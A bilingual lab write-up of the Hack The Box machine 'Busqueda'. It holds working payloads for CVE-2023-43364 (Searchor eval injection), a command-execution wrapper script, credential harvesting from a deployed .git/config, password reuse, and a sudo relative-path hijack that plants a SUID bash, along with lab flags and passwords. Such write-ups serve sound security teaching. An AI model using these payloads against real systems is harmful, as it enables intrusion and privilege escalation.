Busqueda
Executive summary — Busqueda exposes a Flask application that builds search-engine URLs on top of the Searchor 2.4.0 library, vulnerable to CVE-2023-43364 (
eval()injection). The unusual part — and the most instructive lesson of the box — is that the application's own code is correct: it validates the engine against a whitelist and runs the subprocess with an argument list, withoutshell=True. The flaw isn't in that code; it's in the dependency declared inrequirements.txt, invisible to any review of the application's own source. From there, a.git/mistakenly deployed to production and three separate password reuses chain the access all the way to asudoscript that invokes another script through a relative path — the one thingsudonever sanitizes is the working directory.
| Platform | Hack The Box |
| Operating system | Linux |
| Difficulty | Easy |
| Status | Retired |
| Target IP | 10.129.228.217 |
Attack map
[80] searcher.htb — Flask "Searcher" app, builds search-engine URLs
│ the footer declares the dependency: Searchor 2.4.0
▼
[RCE] CVE-2023-43364 — Searchor interpolates the query into an f-string, then eval()s it
│ the app's own code is correct (subprocess with an argument list, no shell=True);
│ the flaw lives one layer down, in the dependency
▼
[RCE] svc (unauthenticated command execution, via an HTTP return channel)
│ /var/www/app/.git/config (mistakenly deployed) leaks Gitea credentials:
│ cody:jh1usoih2bkjaspwe92 — the same password works for system SSH
▼
[SSH] svc (user.txt)
│ sudo (root) /usr/bin/python3 /opt/scripts/system-checkup.py *
│ unrestricted docker-inspect leaks the Gitea DB password, reused as the Gitea
│ admin password -> source code confirms a relative path: system-checkup.py
│ invokes './full-checkup.sh'
▼
[ROOT] attacker-controlled CWD + relative path -> our own full-checkup.sh runs
as root (root.txt)
1. Reconnaissance
nmap -p- --min-rate 5000 -T4 -Pn -oN nmap-allports.txt 10.129.228.217
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Not shown: 65290 closed tcp ports (reset), 243 filtered tcp ports (no-response)
The 243 "filtered" ports are an artifact of the aggressive --min-rate (nmap warns it hit the retransmission cap), not a selective firewall. Real surface: two ports, and the vector has to be on 80.
nmap -sCV -p22,80 -Pn -oN nmap-services.txt 10.129.228.217
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.52
|_http-title: Did not follow redirect to http://searcher.htb/
|_http-server-header: Apache/2.4.52 (Ubuntu)
Service Info: Host: searcher.htb; OS: Linux
OpenSSH 8.9p1 + Apache 2.4.52 pins the OS to Ubuntu 22.04 LTS. More useful still: the line Did not follow redirect to http://searcher.htb/ reveals the vhost name with no fuzzing needed — Apache hands it over for free by redirecting on plain IP access. That cheap check is worth running before firing thousands of ffuf requests.
With no sudo password on the attacking box to edit /etc/hosts, resolution was handled with curl --resolve, which injects the resolution at the request level without touching the system:
#!/bin/bash
# c.sh — curl against searcher.htb without touching /etc/hosts
exec curl -s --resolve searcher.htb:80:10.129.228.217 "$@"
The app (./c.sh http://searcher.htb/) looks harmless: a POST /search form with three parameters (engine, query, auto_redirect) that builds the chosen engine's search URL. The decisive finding comes from reading the full HTML, not just the visible part — the footer voluntarily declares its main dependency:
<p class="copyright">Powered by
<a href="https://flask.palletsprojects.com">Flask</a> and
<a href="https://github.com/ArjunSharda/Searchor">Searchor 2.4.0</a></p>
No need to guess the stack or infer it from behavior: the app states outright which library processes user input, and which version. And Searchor 2.4.0 has a known, critical vulnerability: CVE-2023-43364.
Resumen ejecutivo — Busqueda expone una aplicación Flask que construye URLs de búsqueda apoyándose en la biblioteca Searchor 2.4.0, vulnerable a CVE-2023-43364 (inyección en
eval()). Lo poco habitual — y lo más instructivo de la máquina — es que el código de la aplicación es correcto: valida el motor contra una lista blanca y ejecuta el subproceso con lista de argumentos, sinshell=True. El fallo no está en ese código, sino en la dependencia que declara enrequirements.txt, invisible a cualquier revisión del propio código. A partir de ahí, un.git/desplegado por error en producción y tres reutilizaciones de contraseña encadenan el acceso hasta un script desudoque invoca otro script mediante una ruta relativa — la única variable quesudonunca sanea es el directorio de trabajo.
| Plataforma | Hack The Box |
| Sistema operativo | Linux |
| Dificultad | Easy |
| Estado | Retired |
| IP objetivo | 10.129.228.217 |
Mapa del ataque
[80] searcher.htb — app Flask "Searcher", construye URLs de búsqueda
│ el pie de página declara la dependencia: Searchor 2.4.0
▼
[RCE] CVE-2023-43364 — Searchor interpola la query en un f-string y lo pasa a eval()
│ el código de la app es correcto (subprocess con lista de args, sin shell=True);
│ el fallo vive una capa más abajo, en la dependencia
▼
[RCE] svc (ejecución de comandos sin autenticación, vía canal de retorno HTTP)
│ /var/www/app/.git/config (desplegado por error) filtra credenciales de Gitea:
│ cody:jh1usoih2bkjaspwe92 — la misma contraseña sirve para SSH del sistema
▼
[SSH] svc (user.txt)
│ sudo (root) /usr/bin/python3 /opt/scripts/system-checkup.py *
│ docker-inspect sin restricciones filtra la contraseña de la BD de Gitea,
│ reutilizada como la del admin de Gitea -> código fuente del script confirma
│ una ruta relativa: system-checkup.py invoca './full-checkup.sh'
▼
[ROOT] CWD controlado por el atacante + ruta relativa -> nuestro full-checkup.sh
se ejecuta como root (root.txt)
1. Reconocimiento
nmap -p- --min-rate 5000 -T4 -Pn -oN nmap-allports.txt 10.129.228.217
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Not shown: 65290 closed tcp ports (reset), 243 filtered tcp ports (no-response)
Los 243 puertos "filtered" son un artefacto del --min-rate agresivo (nmap avisa de que ha agotado los reintentos), no un firewall selectivo. Superficie real: dos puertos, y el vector tiene que estar en el 80.
nmap -sCV -p22,80 -Pn -oN nmap-services.txt 10.129.228.217
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.52
|_http-title: Did not follow redirect to http://searcher.htb/
|_http-server-header: Apache/2.4.52 (Ubuntu)
Service Info: Host: searcher.htb; OS: Linux
La combinación OpenSSH 8.9p1 + Apache 2.4.52 fija el sistema operativo en Ubuntu 22.04 LTS. Y algo más útil: la línea Did not follow redirect to http://searcher.htb/ revela el nombre de vhost sin necesidad de fuzzing — Apache lo entrega gratis al redirigir por defecto desde el acceso por IP. Conviene comprobar siempre este caso barato antes de lanzar miles de peticiones de ffuf.
Sin permisos de sudo en la máquina atacante para editar /etc/hosts, se resolvió con curl --resolve, que inyecta la resolución a nivel de petición sin tocar el sistema:
#!/bin/bash
# c.sh — curl contra searcher.htb sin tocar /etc/hosts
exec curl -s --resolve searcher.htb:80:10.129.228.217 "$@"
La aplicación (./c.sh http://searcher.htb/) es un buscador de apariencia inofensiva: un formulario POST /search con tres parámetros (engine, query, auto_redirect) que construye la URL de búsqueda del motor elegido. El hallazgo decisivo aparece leyendo el HTML completo, no solo la parte visible — el pie de página declara voluntariamente su dependencia principal:
<p class="copyright">Powered by
<a href="https://flask.palletsprojects.com">Flask</a> and
<a href="https://github.com/ArjunSharda/Searchor">Searchor 2.4.0</a></p>
No hace falta adivinar la tecnología ni deducirla por comportamiento: la app dice literalmente qué biblioteca procesa la entrada del usuario y en qué versión. Y Searchor 2.4.0 tiene una vulnerabilidad conocida y crítica: CVE-2023-43364.
2. Initial exploitation — CVE-2023-43364 (RCE as svc)
Searchor's CLI needs to dynamically resolve the engine chosen by the user against an
Engineenum. Instead ofgetattr(Engine, engine)— the correct way to fetch an attribute by name at runtime — it builds a Python code string and executes it:eval(f"Engine.{engine}.search('{query}', ...)"). The user'squeryis interpolated inside a string literal that is then interpreted as code: a single quote is enough to close the string and write arbitrary Python expressions.
The application's own code, obtained later, is by contrast irreproachable:
if engine in Engine.__members__.keys(): # whitelist validation
arg_list = ['searchor', 'search', engine, query]
r = subprocess.run(arg_list, capture_output=True) # argument list, no shell=True
Whitelist, subprocess.run with an argument list, no shell=True and no eval/os.system of its own: no review of the application code would have caught this, because it isn't there. The invoked searchor process receives query as a clean argv argument — but that same binary feeds the argument into an internal eval(). A textbook argument for treating software composition analysis (SCA) as a discipline distinct from code review.
A non-destructive proof of concept: if the query is evaluated as Python, an arithmetic expression should resolve before being embedded in the output URL.
./c.sh -X POST http://searcher.htb/search \
--data-urlencode "engine=Google" \
--data-urlencode "query='+str(7*7)+'"
https://www.google.com/search?q=49
Sending '+str(7*7)+' returns 49: the string never appears literally — it was evaluated. With Python execution confirmed, the jump to system commands is direct via os.popen(), whose output gets concatenated into the response URL itself — a return channel with no reverse shell required:
./c.sh -X POST http://searcher.htb/search \
--data-urlencode "engine=Google" \
--data-urlencode "query='+__import__(\"os\").popen(\"id; hostname\").read()+'"
uid=1000(svc) gid=1000(svc) groups=1000(svc)
busqueda
To avoid quotes or metacharacters breaking the payload syntax on longer commands, the command is base64-encoded on the attacker side and decoded on the target before execution:
#!/bin/bash
# rce.sh — Usage: ./rce.sh 'id; uname -a'
CMD="$1"
PY="'+__import__(\"os\").popen(__import__(\"base64\").b64decode(\"$(printf '%s' \"$CMD\" | base64 -w0)\").decode()).read()+'"
curl -s --resolve searcher.htb:80:10.129.228.217 -X POST http://searcher.htb/search \
--data-urlencode "engine=Google" --data-urlencode "query=$PY" \
| grep -oP 'search\?q=\K.*' \
| python3 -c 'import sys,urllib.parse;print(urllib.parse.unquote_plus(sys.stdin.read()))'
base64 -w0 avoids the line breaks base64 inserts every 76 characters; printf '%s' (instead of echo) avoids appending a trailing newline to the encoded command; and unquote_plus decodes both URL-encoding and the query-string convention of + as space.
3. Post-exploitation: credentials in the Git repository
An unusual and fortunate detail: the web app doesn't run as www-data, but as svc, the system's only unprivileged user and owner of /home/svc. The RCE lands directly in the target user's context, with no lateral movement needed:
./rce.sh 'cat /home/svc/user.txt'
user.txt: 54df8778239d543d312de3c9b837935a
Running the app under a nominal user account instead of a dedicated service account is a hardening failure in its own right: it turns any application RCE into a full compromise of that account — its files, its history, and, as it turns out, its sudo context.
The deployment directory contains something that should never reach production: a full .git/, with its history and remote configuration.
./rce.sh 'ls -la /var/www/app/; cat /var/www/app/.git/config'
drwxr-xr-x 8 www-data www-data 4096 Aug 8 15:24 .git
[remote "origin"]
url= http://cody:jh1usoih2bkjaspwe92@gitea.searcher.htb/cody/Searcher_site.git
The URL follows the http://user:password@host/path format: it's generated automatically when someone clones a private repository with credentials in the command line, and Git saves that full URL — plaintext password included — into .git/config. A very common, rarely intentional operational mistake. It also surfaces a second vhost not identified during external recon: gitea.searcher.htb, an internal Git server.
4. Consolidating access: SSH as svc
cody's password is, in theory, only for Gitea. Trying it against system SSH, with the svc user already known to exist, is the obvious next move:
sshpass -p 'jh1usoih2bkjaspwe92' ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null svc@10.129.228.217 'id'
uid=1000(svc) gid=1000(svc) groups=1000(svc)
Commands were already running as
svcvia the web RCE, so the SSH session adds no new privileges — but it does add a real TTY, and that turns out to be decisive in the next stage:sudorequires a terminal to read the password (sudo: a terminal is required to read the password), which an HTTP webshell can never provide. Without this "redundant" credential, the entire privilege escalation path — which runs throughsudo— would have been closed off.
5. Sudo privilege analysis and the intended discovery path
echo 'jh1usoih2bkjaspwe92' | sudo -S -l
User svc may run the following commands on busqueda:
(root) /usr/bin/python3 /opt/scripts/system-checkup.py *
No NOPASSWD (hence the need for the SSH session), with absolute paths for both interpreter and script (not swappable), and with secure_path/env_reset/use_pty sanitizing $PATH, environment variables and the TTY. The only attack surface left is whatever replaces the wildcard *. Files under /opt/scripts/ are executable but not readable (rwx--x--x), forcing a black-box, behavior-based analysis.
With no arguments sudo refuses execution; with any argument, the script prints its usage: three actions — docker-ps, docker-inspect, full-checkup. docker-ps reveals two containers (Gitea and MySQL 8) published only on 127.0.0.1. But full-checkup is where the anomaly shows up: run from /home/svc it fails ("Something went wrong"), and run from /opt/scripts it works.
The same command, with the same arguments, run as the same user, produces different results depending on the directory it's launched from. The only thing that changed is the current working directory (CWD) — the only explanation is that the script invokes something through a relative path. And the name of the resource is all but confirmed by the
/opt/scriptslisting: afull-checkup.shfile exists there. Hypothesis: the script runs./full-checkup.sh, and controlling the CWD controls which file runs under that name — as root.
Before exploiting, the intended discovery path is documented: the docker-inspect action accepts a Go template format and a container name with no restriction whatsoever on which fields can be queried — including environment variables, where Docker routinely stores initialization passwords.
echo 'jh1usoih2bkjaspwe92' | sudo -S /usr/bin/python3 \
/opt/scripts/system-checkup.py docker-inspect "{{json .Config.Env}}" gitea
"GITEA__database__PASSWD=yuiu1hoiu4i5ho1uh"
That password doesn't work for the system's root (a negative check worth recording — it rules out that shortcut), but it does work for the administrator account of the Gitea web UI — the third instance of password reuse on this box (cody=svc, and now Gitea DB=Gitea admin). With an admin session, the private repository holding the sudo scripts' code becomes readable:
./g.sh "http://gitea.searcher.htb/administrator/scripts/raw/branch/main/system-checkup.py"
elif action == 'full-checkup':
try:
arg_list = ['./full-checkup.sh'] # ← THE VULNERABILITY
print(run_command(arg_list))
Hypothesis confirmed to the letter. The leading ./ makes the path resolve relative to the process's working directory, not to the directory where the script lives — and sudo preserves the invoker's CWD. That directory is the attacker's to choose.
6. Escalating to root: relative path
sudo resets $PATH, environment variables and the terminal, but never changes the working directory: the root process inherits the CWD of whoever invoked it. Combined with the relative path, exploitation is direct — create a controlled directory, drop a custom full-checkup.sh in it, and fire the authorized sudo command from there:
mkdir -p /tmp/pwn && cd /tmp/pwn
cat > full-checkup.sh <<'EOS'
#!/bin/bash
cp /bin/bash /tmp/pwn/rootbash
chmod 4755 /tmp/pwn/rootbash
EOS
chmod +x full-checkup.sh
echo 'jh1usoih2bkjaspwe92' | sudo -S /usr/bin/python3 \
/opt/scripts/system-checkup.py full-checkup >/dev/null 2>&1
ls -la /tmp/pwn/rootbash
/tmp/pwn/rootbash -p -c 'id; cat /root/root.txt'
-rwsr-xr-x 1 root root 1396520 Aug 8 15:41 /tmp/pwn/rootbash
uid=1000(svc) gid=1000(svc) euid=0(root) groups=1000(svc)
06f97c0ad8e2def409397195aee82182
chmod +x is required because subprocess.run(['./full-checkup.sh']) executes the file directly, with no intermediate shell. The SUID copy of bash (chmod 4755) gives repeatable root access; /tmp/pwn/rootbash -p is critical because bash normally drops elevated privileges on startup as an anti-SUID-shell protection — -p preserves the inherited euid. In the id output, the decisive detail is euid=0(root): the real uid is still svc, but the effective one — the one the kernel checks for access control — is root.
root.txt: 06f97c0ad8e2def409397195aee82182
Worth closing the loop. The
sudoconfiguration was reasonably solid — absolute paths for interpreter and script,secure_path,env_reset,use_pty, noNOPASSWD: six controls, all six effective at what they were meant to block. And still, root — because none of them cover the working directory.sudohas no option at all to pin the command's CWD. The surface that stayed open wasn't a weakness in the sudo configuration; it was a single line in the authorized script:arg_list = ['./full-checkup.sh']instead of an absolute path. When sudo is granted over a script you own, that script becomes part of the privilege boundary and must be audited with the same rigor as a SUID binary.
Vulnerability summary
| Phase | Component | Vulnerability | Impact |
|---|---|---|---|
| Foothold | Searchor 2.4.0 (Flask app dependency) | CVE-2023-43364 — eval() injection via the query parameter | Unauthenticated RCE as svc |
| Post-exploitation | .git/config deployed to production | Plaintext Gitea credentials (cody), reused as the system SSH password | Interactive SSH session with a TTY (user.txt) |
| Discovery | system-checkup.py docker-inspect (sudo) | Unrestricted docker inspect format — leaks the Gitea DB password, reused as the Gitea admin password | Admin access to Gitea → source code of the sudo script |
| PrivEsc | /opt/scripts/system-checkup.py (sudo, no NOPASSWD) | Invokes ./full-checkup.sh via a relative path; sudo never sanitizes the CWD | Root via script substitution + SUID bash (root.txt) |
Lessons learned
- A remote code execution flaw can live entirely inside a third-party dependency and stay invisible to any review, however rigorous, of the application's own code. It's the textbook argument for software composition analysis (SCA) and an SBOM as a discipline distinct from code review, not a substitute for it.
- A
.git/directory should never reach a directory served in production: besides the source code, it exposes its full history and any credential ever included in a remote URL (http://user:password@host/...), even one "fixed" in a later commit. - Reusing passwords across distinct services turns isolated bugs into a full chain — on this box it happened three times independently. Every credential found is worth testing against every available authentication surface.
- A
sudoscript that invokes another file by relative path (./full-checkup.shinstead of an absolute path) is exploitable just by controlling the working directory — somethingsecure_path,env_resetanduse_ptydo nothing to cover, becausesudonever sanitizes the CWD. A script you own with sudo privileges is part of the privilege boundary and must be audited like a SUID binary.
2. Explotación inicial — CVE-2023-43364 (RCE como svc)
La CLI de Searchor necesita resolver dinámicamente el motor elegido por el usuario sobre una enumeración
Engine. En lugar degetattr(Engine, engine)— la forma correcta de acceder a un atributo por nombre — construye una cadena de código Python y la ejecuta:eval(f"Engine.{engine}.search('{query}', ...)"). Laquerydel usuario se interpola dentro de un literal de cadena que acto seguido se interpreta como código: basta una comilla simple para cerrar la cadena y escribir expresiones Python arbitrarias.
El código de la propia aplicación, obtenido más adelante, es en cambio irreprochable:
if engine in Engine.__members__.keys(): # valida contra lista blanca
arg_list = ['searchor', 'search', engine, query]
r = subprocess.run(arg_list, capture_output=True) # lista de args, sin shell=True
Lista blanca, subprocess.run con lista de argumentos, sin shell=True ni eval/os.system propios: ninguna revisión del código de la aplicación habría detectado el fallo, porque no está ahí. El proceso searchor invocado recibe la query como un argumento argv limpio — pero ese mismo binario mete el argumento en un eval() internamente. Es un caso de manual para justificar el análisis de composición de software (SCA) como disciplina distinta al code review.
Prueba de concepto no destructiva: si la query se evalúa como Python, una expresión aritmética debería resolverse antes de incrustarse en la URL de salida.
./c.sh -X POST http://searcher.htb/search \
--data-urlencode "engine=Google" \
--data-urlencode "query='+str(7*7)+'"
https://www.google.com/search?q=49
Se envió '+str(7*7)+' y volvió 49: la cadena nunca aparece literal, fue evaluada. Confirmada la ejecución de Python, el salto a comandos del sistema es directo vía os.popen(), cuya salida se concatena en la propia URL de respuesta — un canal de retorno sin necesidad de reverse shell:
./c.sh -X POST http://searcher.htb/search \
--data-urlencode "engine=Google" \
--data-urlencode "query='+__import__(\"os\").popen(\"id; hostname\").read()+'"
uid=1000(svc) gid=1000(svc) groups=1000(svc)
busqueda
Para no depender de comillas o metacaracteres que rompan la sintaxis del payload en comandos más largos, el comando se codifica en base64 en el atacante y se decodifica en el objetivo antes de ejecutarlo:
#!/bin/bash
# rce.sh — Uso: ./rce.sh 'id; uname -a'
CMD="$1"
PY="'+__import__(\"os\").popen(__import__(\"base64\").b64decode(\"$(printf '%s' \"$CMD\" | base64 -w0)\").decode()).read()+'"
curl -s --resolve searcher.htb:80:10.129.228.217 -X POST http://searcher.htb/search \
--data-urlencode "engine=Google" --data-urlencode "query=$PY" \
| grep -oP 'search\?q=\K.*' \
| python3 -c 'import sys,urllib.parse;print(urllib.parse.unquote_plus(sys.stdin.read()))'
base64 -w0 evita los saltos de línea que base64 inserta cada 76 caracteres; printf '%s' (en vez de echo) evita añadir un salto final al comando codificado; y unquote_plus decodifica tanto el URL-encoding como el + como espacio, propio de una query string.
3. Post-explotación: credenciales en el repositorio Git
Un detalle poco habitual y afortunado: la aplicación web no corre como www-data, sino como svc, el único usuario sin privilegios del sistema y propietario de /home/svc. El RCE deja directamente en el contexto del usuario objetivo, sin movimiento lateral:
./rce.sh 'cat /home/svc/user.txt'
user.txt: 54df8778239d543d312de3c9b837935a
Que la app corra bajo una cuenta de usuario nominal en lugar de una cuenta de servicio dedicada es un fallo de endurecimiento por derecho propio: convierte cualquier RCE de aplicación en un compromiso completo de esa cuenta, con sus ficheros, su historial y (como se ve más adelante) su contexto de sudo.
El directorio de despliegue contiene algo que nunca debería llegar a producción: un .git/ completo, con su historial y su configuración de remotos.
./rce.sh 'ls -la /var/www/app/; cat /var/www/app/.git/config'
drwxr-xr-x 8 www-data www-data 4096 Aug 8 15:24 .git
[remote "origin"]
url= http://cody:jh1usoih2bkjaspwe92@gitea.searcher.htb/cody/Searcher_site.git
La URL sigue el formato http://usuario:contraseña@host/ruta: se genera automáticamente cuando alguien clona un repositorio privado incluyendo credenciales en la línea de comandos, y Git guarda esa URL completa —contraseña en texto claro— en .git/config. Un error de operación muy común y casi nunca intencionado. De paso aparece un segundo vhost no identificado en el reconocimiento externo: gitea.searcher.htb, un servidor Git interno.
4. Consolidación de acceso: SSH como svc
La contraseña de cody es, en teoría, solo para Gitea. Probarla contra SSH del sistema, con el usuario svc que ya sabíamos que existe, es el siguiente paso obvio:
sshpass -p 'jh1usoih2bkjaspwe92' ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null svc@10.129.228.217 'id'
uid=1000(svc) gid=1000(svc) groups=1000(svc)
Ya se ejecutaban comandos como
svcvía el RCE web, así que la sesión SSH no aporta privilegios nuevos — pero sí aporta TTY real, y eso resulta determinante en la fase siguiente:sudoexige un terminal para leer la contraseña (sudo: a terminal is required to read the password), algo que un webshell HTTP no puede proporcionar nunca. Sin esta credencial "redundante", toda la ruta de escalada —que pasa porsudo— habría estado cerrada.
5. Análisis del privilegio sudo y vía de descubrimiento
echo 'jh1usoih2bkjaspwe92' | sudo -S -l
User svc may run the following commands on busqueda:
(root) /usr/bin/python3 /opt/scripts/system-checkup.py *
Sin NOPASSWD (de ahí que hiciera falta la sesión SSH), con intérprete y script en rutas absolutas (no sustituibles), y con secure_path/env_reset/use_pty saneando $PATH, variables de entorno y TTY. La única superficie de ataque es lo que sustituye al comodín *. Los ficheros en /opt/scripts/ son ejecutables pero no legibles (rwx--x--x), lo que obliga a un análisis de caja negra por comportamiento.
Sin argumentos, sudo rechaza la ejecución; con uno cualquiera, el script muestra su ayuda: tres acciones — docker-ps, docker-inspect, full-checkup. docker-ps revela dos contenedores (Gitea y MySQL 8) publicados solo en 127.0.0.1. Pero es full-checkup el que produce la anomalía: ejecutado desde /home/svc falla ("Something went wrong"), y ejecutado desde /opt/scripts funciona.
El mismo comando, con los mismos argumentos, ejecutado como el mismo usuario, produce resultados distintos según el directorio desde el que se lanza. La única variable que ha cambiado es el directorio de trabajo actual (CWD) — la única explicación posible es que el script invoque algo mediante una ruta relativa. Y el nombre del recurso está prácticamente confirmado por el listado de
/opt/scripts: existe un ficherofull-checkup.sh. Hipótesis: el script ejecuta./full-checkup.sh, y controlando el CWD se controla qué fichero se ejecuta con ese nombre — como root.
Antes de explotar, se documenta la vía prevista de descubrimiento: la acción docker-inspect acepta un formato de plantilla de Go y un nombre de contenedor sin restricción alguna sobre qué campos pueden consultarse — incluidas las variables de entorno, donde Docker guarda de forma rutinaria las contraseñas de inicialización.
echo 'jh1usoih2bkjaspwe92' | sudo -S /usr/bin/python3 \
/opt/scripts/system-checkup.py docker-inspect "{{json .Config.Env}}" gitea
"GITEA__database__PASSWD=yuiu1hoiu4i5ho1uh"
Esa contraseña no sirve para root del sistema (comprobación con resultado negativo, que descarta esa vía corta), pero sí para la cuenta administrator de la interfaz web de Gitea — tercera instancia de reutilización de contraseñas en la misma máquina (cody=svc, y ahora BD Gitea=admin Gitea). Con sesión de administrador, el repositorio privado con el código de los scripts de sudo es legible:
./g.sh "http://gitea.searcher.htb/administrator/scripts/raw/branch/main/system-checkup.py"
elif action == 'full-checkup':
try:
arg_list = ['./full-checkup.sh'] # ← LA VULNERABILIDAD
print(run_command(arg_list))
Hipótesis confirmada al carácter. El ./ inicial hace que la ruta se resuelva relativa al directorio de trabajo del proceso, no al directorio donde reside el script — y sudo preserva el CWD del invocador. Ese directorio lo elige el atacante.
6. Escalada a root: ruta relativa
sudo restablece $PATH, variables de entorno y terminal, pero no cambia el directorio de trabajo: el proceso root hereda el CWD de quien lo invoca. Combinado con la ruta relativa, la explotación es directa — crear un directorio propio, poner ahí un full-checkup.sh con código propio, y disparar el comando de sudo desde ese directorio:
mkdir -p /tmp/pwn && cd /tmp/pwn
cat > full-checkup.sh <<'EOS'
#!/bin/bash
cp /bin/bash /tmp/pwn/rootbash
chmod 4755 /tmp/pwn/rootbash
EOS
chmod +x full-checkup.sh
echo 'jh1usoih2bkjaspwe92' | sudo -S /usr/bin/python3 \
/opt/scripts/system-checkup.py full-checkup >/dev/null 2>&1
ls -la /tmp/pwn/rootbash
/tmp/pwn/rootbash -p -c 'id; cat /root/root.txt'
-rwsr-xr-x 1 root root 1396520 Aug 8 15:41 /tmp/pwn/rootbash
uid=1000(svc) gid=1000(svc) euid=0(root) groups=1000(svc)
06f97c0ad8e2def409397195aee82182
chmod +x es obligatorio porque subprocess.run(['./full-checkup.sh']) ejecuta el fichero directamente, sin shell intermedio. La copia SUID de bash (chmod 4755) da acceso root repetible; /tmp/pwn/rootbash -p es crítico porque bash normalmente abandona los privilegios elevados al arrancar como protección anti-shell-SUID — -p conserva el euid heredado. En la salida de id, el detalle decisivo es euid=0(root): el uid real sigue siendo svc, pero el efectivo —el que consulta el kernel para el control de acceso— es root.
root.txt: 06f97c0ad8e2def409397195aee82182
Vale la pena cerrar el círculo. La configuración de
sudoera razonablemente sólida — ruta absoluta del intérprete y del script,secure_path,env_reset,use_pty, sinNOPASSWD: seis controles, los seis efectivos en su cometido. Y aun así, root, porque ninguno de ellos cubre el directorio de trabajo.sudono tiene ninguna opción para fijar el CWD del comando. La superficie que quedó abierta no fue una debilidad de la configuración de sudo, sino una única línea del script autorizado:arg_list = ['./full-checkup.sh']en lugar de una ruta absoluta. Cuando se concede sudo sobre un script propio, ese script pasa a formar parte de la frontera de privilegios y debe auditarse con el mismo rigor que un binario SUID.
Resumen de vulnerabilidades
| Fase | Componente | Vulnerabilidad | Impacto |
|---|---|---|---|
| Foothold | Searchor 2.4.0 (dependencia de la app Flask) | CVE-2023-43364 — inyección en eval() vía el parámetro query | RCE como svc sin autenticación |
| Post-explotación | .git/config desplegado en producción | Credenciales en texto claro de Gitea (cody), reutilizadas como contraseña SSH del sistema | Sesión SSH interactiva con TTY (user.txt) |
| Descubrimiento | system-checkup.py docker-inspect (sudo) | Formato de docker inspect sin restricción — filtra la contraseña de la BD de Gitea, reutilizada como la del admin de Gitea | Acceso de administrador a Gitea → código fuente del script sudo |
| PrivEsc | /opt/scripts/system-checkup.py (sudo, sin NOPASSWD) | Invoca ./full-checkup.sh por ruta relativa; sudo no sanea el CWD | Root vía script sustituido + bash SUID (root.txt) |
Lecciones aprendidas
- Un fallo de ejecución remota puede vivir enteramente en una dependencia de terceros y ser invisible a cualquier revisión, por rigurosa que sea, del código propio de la aplicación. Es el argumento de manual para adoptar análisis de composición de software (SCA) y un SBOM como disciplina distinta del code review, no un sustituto de este.
- Un
.git/nunca debería llegar a un directorio servido en producción: además del código fuente, expone su historial completo y cualquier credencial que se haya incluido alguna vez en una URL de remoto (http://usuario:contraseña@host/...), aunque se haya "corregido" en un commit posterior. - La reutilización de contraseñas entre servicios distintos convierte fallos aislados en una cadena completa — en esta máquina ocurrió tres veces de forma independiente. Cada credencial descubierta merece probarse contra todas las superficies de autenticación disponibles.
- Un script de
sudoque invoca otro fichero por ruta relativa (./full-checkup.shen vez de una ruta absoluta) es explotable con solo controlar el directorio de trabajo — algo quesecure_path,env_resetyuse_ptyno cubren en absoluto, porquesudonunca sanea el CWD. Un script propio con privilegios de sudo forma parte de la frontera de privilegios y debe auditarse igual que un binario SUID.